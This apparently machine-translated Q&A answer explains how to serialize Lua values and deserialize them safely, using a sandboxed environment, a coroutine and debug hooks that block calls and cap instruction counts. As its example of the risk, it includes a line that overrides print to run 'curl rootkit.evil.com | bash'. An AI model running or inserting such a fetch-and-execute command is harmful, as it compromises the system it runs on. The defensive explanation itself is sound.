如果你稍微改变你的代码......
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…你生成了有效的 Lua。
现在你可以
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
以相当安全的方式反序列化数据。
反序列化数据的不安全方法是简单地load( "return "..str )( )
,但这将允许运行任意 Lua 代码。
首先,我们将函数放在一个单独的环境中,这样它就不会影响全局环境。 (否则,做,说,print = function() os.execute "curl rootkit.evil.com | bash" end
会将函数替换为稍后从不同(不受保护的)上下文调用并运行任意代码的函数。)为了方便起见,您可以传入一个表,以便数据可以引用预定义的变量。 (您可能不需要这个,但是如果您需要预定义的常量,那么就可以提供它们。)
接下来,我们在单独的协程中运行该函数,以便我们可以设置一个不影响程序其余部分的调试挂钩。然后我们可以通过有效设置来禁止进行任何函数调用debug.sethook( co, error, "c" )
。 (因为“是”/返回您的数据的函数的初始调用已经触发了这一点,所以我们通过一次调用来延迟这一点。因此,我们设置了一个钩子,将钩子更改为error
当被呼叫时。)
现在所有的函数调用都被禁止,外部不能受到正在运行的代码的影响。攻击者唯一能做的就是浪费时间 - 例如通过无限循环,比如while true do end
or ::x:: goto x
。所以我们在设置hook的时候也设置了一个最大指令数——debug.sethook( co, error, "c", 1000000 )
。对于相对较大的文件来说,一百万条指令应该足够了。这是一个任意限制 - 如果太小则增加它。 (在循环中计数到 250000 就足够了,因此可以创建超过这个数量的原始值)。